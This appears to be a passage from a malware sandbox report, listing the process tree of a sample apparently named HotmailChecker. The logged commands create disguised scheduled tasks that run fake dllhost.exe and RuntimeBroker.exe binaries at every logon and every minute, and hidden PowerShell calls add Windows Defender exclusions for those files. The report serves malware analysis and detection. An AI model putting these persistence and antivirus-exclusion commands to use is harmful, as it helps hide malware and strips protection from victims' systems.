  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  PID:3752
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1584
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:1500
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5764
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2316
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  PID:4768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:472
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:2176
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  PID:1452
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5328
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:2552
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  PID:4736
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4948
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  PID:2536
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:2948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3640
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:5252
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:2656
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:4136
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:5176
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1980
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:200
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:5280
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6120
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:5584
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1120
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1492
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6112
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  PID:6036
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2648
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:4208
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2032
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3640
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4348
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  PID:5112
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:1116
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  PID:704
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:3012
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1544
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:3400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2656
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:4472
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:2452
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1976
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:5236
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2032
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:2128
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6112
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1776
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2420
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:4212
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:1356
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4348
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4172
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  PID:6140
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:4168
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5460
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5060
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:1284
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2620
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3108
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3272
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5296
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4260
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:2308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4920
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:5856
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:4468
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:3676
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:3356
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:4620
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:3872
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:472
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6004
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5988
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1780
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:5544
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5408
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6108
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5472
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  PID:4208
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:4444
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  PID:3956
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:1848
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6140
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4348
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  PID:5816
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5456
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5408
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:5608
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:2012
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:5884
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:5520
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:5040
